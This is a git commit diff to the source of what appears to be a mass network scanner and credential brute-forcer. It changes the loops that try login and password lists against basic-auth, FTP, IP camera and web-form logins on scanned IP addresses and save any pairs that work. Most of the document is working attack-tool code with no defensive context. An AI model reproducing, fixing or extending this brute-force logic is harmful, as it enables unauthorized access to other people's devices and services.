Multiple fixes.

This commit is contained in:
cora32 2015-04-04 10:24:31 +03:00
parent 8757c40c98
commit cc1e51e2a8
10 changed files with 90 additions and 63 deletions

View File

@ -38,6 +38,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
int passCounter = 0;
int res = 0;
for(int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) {
@ -46,13 +47,15 @@ lopaStr BA::BABrute(const char *ip, const int port) {
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
else if (res != -1) {
if (checkOutput(&buffer, ip, port)) {
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
return lps;
};
}
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +

View File

@ -185,8 +185,8 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
Activity += buffer->size();
return buffer->size();
} else {
if (res != 28 &&
res != 6 &&
if (res == 6) return -2;
else if (res != 28 &&
res != 7 &&
res != 67 &&
res != 52 &&
@ -218,14 +218,11 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
QString(ip) + ":" + QString::number(port));
}
else if (gMode == 1 && res == 6) return -2;
if(res == 23 && buffer->size() > 0) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
return buffer->size();
} else {
return -1;
}
} else return -1;
}
} else {
stt->doEmitionRedFoundData("Curl error.");

View File

@ -13,10 +13,7 @@ bool FTPA::checkOutput(const string *buffer) {
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer;
string lpString;
lopaStr lps{"UNKNOWN", "", ""};;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
lopaStr lps{"UNKNOWN", "", ""};
strcpy(lps.login, "UNKNOWN");
int res = 0;
@ -24,6 +21,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
char login[128] = {0};
char pass[32] = {0};
char nip[128] = { 0 };
for(int i = 0; i < MaxLogin; ++i)
{
@ -43,7 +41,9 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
lpString = string(login) + ":" + string(pass);
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
ZeroMemory(nip, 128);
sprintf(nip, "ftp://%s", ip);
res = Connector::nConnect(nip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
else if (res != -1) {
if (!globalScanFlag) return lps;

View File

@ -7,9 +7,6 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
lopaStr lps{"UNKNOWN", "", ""};
bool result = true;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
char login[128] = {0};
char pass[128] = {0};
char request[1024] = {0};
@ -69,18 +66,18 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
strcpy(lps.login, "UNKNOWN");
return lps;
};
for(int i = 0; i < MaxLogin; i++)
int res = 0;
for(int i = 0; i < MaxLogin; ++i)
{
if(!globalScanFlag) break;
if(strcmp(loginLst[i], " ") == 0) continue;
ZeroMemory(login, sizeof(login));
strcpy(login, loginLst[i]);
for(int j = 0; j < MaxPass; j++)
for(int j = 0; j < MaxPass; ++j)
{
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
if(!globalScanFlag) break;
@ -141,11 +138,13 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
std::string buffer;
if(doPost) {
if (Connector::nConnect(request, port, &buffer, postData) == -2) return lps;
res = Connector::nConnect(request, port, &buffer, postData);
} else {
if (Connector::nConnect(request, port, &buffer) == -2) return lps;
res = Connector::nConnect(request, port, &buffer);
}
if (res == -2) return lps;
else if (res != -1) {
for (int i = 0; i < negVector.size(); ++i)
{
if (Utils::ci_find_substr(buffer, negVector[i]) != -1)
@ -161,12 +160,11 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
strcpy(lps.pass, passLst[j]);
return lps;
};
++passCounter;
}
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
};

View File

@ -8,7 +8,7 @@ lopaStr WFClass::parseResponse(const char *ip,
const char *login,
const char *pass) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
lopaStr result = {"UNKNOWN", "", ""};
if(buffer->size() != 0)
{
@ -53,7 +53,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
@ -81,12 +81,12 @@ lopaStr WFClass::doGetCheck(const char *ip,
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
std::string buffer;
Connector::nConnect(nip, port, &buffer);
if(Connector::nConnect(nip, port, &buffer) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
"; login/pass: "+ QString(login) + ":" + QString(pass) +
"; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
"; - Progress: (" +
QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
result = parseResponse(ip, port, &buffer, formVal, login, pass);
if(i == 0) ++i;
@ -104,7 +104,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
@ -134,7 +134,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
std::string buffer;
Connector::nConnect(nip, port, &buffer, postData);
if(Connector::nConnect(nip, port, &buffer, postData) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
QString(login) + ":" + QString(pass) + "; - Progress: (" +

View File

@ -368,19 +368,39 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp, int sz)
{
if(buff != NULL)
{
QTextCodec *codec;
QString strf;
if (strstri(cp, "shift_jis") != NULL)
{
codec = QTextCodec::codecForName("Shift-JIS");
strf = codec->toUnicode(buff).toLower();
}
else if (strstri(cp, "utf") != NULL)
{
codec = QTextCodec::codecForName("UTF-8");
strf = codec->toUnicode(buff).toLower();
}
else if (strstri(cp, "cp") != NULL || strstri(cp, "windows") != NULL)
{
codec = QTextCodec::codecForName("Windows-1251");
strf = codec->toUnicode(buff).toLower();
}
else strf = QString(buff);
int res = 0;
if(sz <= 500)
{
res = _mainFinderFirst(toLowerStr(buff).c_str(), 1, port, ip, sz);
res = _mainFinderFirst(strf.toLocal8Bit().data(), 1, port, ip, sz);
}
else if((sz > 500 && sz <= 3500) || sz > 180000)
{
res = _mainFinderFirst(toLowerStr(buff).c_str(), 0, port, ip, sz);
res = _mainFinderFirst(strf.toLocal8Bit().data(), 0, port, ip, sz);
}
else if(sz > 3500 && sz <= 180000)
{
res = _mainFinderSecond(toLowerStr(buff).c_str(), port, ip);
res = _mainFinderSecond(strf.toLocal8Bit().data(), port, ip);
};
return res;
@ -2053,6 +2073,7 @@ void _getPopupTitle(PathStr *ps, char *str)
void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port)
{
if (strstri(str, ".title") != NULL) return;
char *ptr1 = strstr(str, tag);
if(ptr1 != NULL)
{
@ -2135,7 +2156,8 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
}
else
{
stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]");
stt->doEmitionRedFoundData("[JSLocator] Location extraction failed [<a href=\"http://" +
QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>]");
};
};
}

View File

@ -1,3 +1,4 @@
ي<EFBFBD>ُوْ<EFBFBD>
г‚Ёгѓ©гѓј
pagerror
Error report
@ -892,5 +893,4 @@ UNKNOWN HOST
офис
юридич
страница не найдена
ي<EFBFBD>ُوْ<EFBFBD>
прода

View File

@ -1498,7 +1498,9 @@ void nesca_3::slotSaveImage(QAction *qwe)
{
if(ME2ScanFlag || VoiceScanFlag)
{
QString fn = QString::number(QT.msec()) + "_" + (ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png";
QString fn = QString::number(QT.msec()) + "_" +
(ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" +
(ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png";
int ax = 27;
int ay = 2;
int w = ui->graphicLog->width() + 30;
@ -1539,7 +1541,9 @@ void nesca_3::slotSaveImage(QAction *qwe)
}
else
{
QString fn = QString::number(QT.msec()) + "_" + (PieStatFlag ? "PieStat" : "QoS") + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png";
QString fn = QString::number(QT.msec()) + "_" +
(PieStatFlag ? "PieStat" : "QoS") + "_" +
(ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png";
QPixmap pixmap(ui->graphicLog->width(), ui->graphicLog->height());
QPainter painter(&pixmap);
@ -2046,7 +2050,6 @@ void nesca_3::IPScanSeq()
{
if(ui->portLine->text() != "")
{
_LoadPersInfoToLocalVars(savedTabIndex);
stopFirst = false;
ui->tabMainWidget->setTabEnabled(1, false);
ui->tabMainWidget->setTabEnabled(2, false);
@ -2068,6 +2071,7 @@ void nesca_3::IPScanSeq()
};
};
saveOptions();
strcpy(inputStr, ("DUMMY|0|" + rangeData + "|" + ui->threadLine->text() + "|-p" + ui->portLine->text().replace(" ", "")).toLocal8Bit().data());
stt->start();
@ -2142,7 +2146,7 @@ void nesca_3::DNSScanSeq()
ui->lineILVL->setText(topLevelDomainStr);
};
_LoadPersInfoToLocalVars(savedTabIndex);
saveOptions();
stopFirst = false;
ui->tabMainWidget->setTabEnabled(0, false);
@ -2186,10 +2190,10 @@ void nesca_3::ImportScanSeq()
if(fileName != "")
{
_LoadPersInfoToLocalVars(savedTabIndex);
ui->tabMainWidget->setTabEnabled(0, false);
ui->tabMainWidget->setTabEnabled(1, false);
saveOptions();
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
globalScanFlag = true;

View File

@ -181,7 +181,10 @@ void _SaveBackupToFile()
{
if (gMode == 1)
{
strcpy(endStr, currentMask);
if (strlen(currentMask) == 0) {
sprintf(endStr, "%s", currentIP);
}
else strcpy(endStr, currentMask);
}
else
{

View File

@ -1 +1 @@
24B84-386
24B84-3FA